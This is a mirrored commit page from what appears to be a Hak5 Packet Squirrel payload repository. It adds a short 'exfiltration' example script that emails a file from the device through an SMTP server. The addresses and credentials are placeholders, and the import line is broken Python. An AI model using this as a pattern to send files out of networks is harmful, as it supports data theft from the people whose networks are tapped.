mirror of
https://github.com/hak5/packetsquirrel-payloads.git
synced 2025-12-19 17:58:49 +00:00
Sending Emails
This is an example the call the libraries make to the extension to send the mail.
This commit is contained in:
9
payloads/library/exfiltration/Email-Sender/sendmail.py
Normal file
9
payloads/library/exfiltration/Email-Sender/sendmail.py
Normal file
@@ -0,0 +1,9 @@
|
||||
import sys
|
||||
sys.path.append("/root/extensions")
|
||||
from sendemail.py import send_mail
|
||||
|
||||
send_mail('im-just-a-squirrel@giving-you-my-nuts.net', 'EmailTo@SendTo.net',
|
||||
'You Got My Nuts',
|
||||
'Enjoy this package',
|
||||
files=["/Path/To/My/Nuts.txt"],
|
||||
server='MAIL.SERVER.com', username='USERNAME', password='PASSWORD')
|
||||
Reference in New Issue
Block a user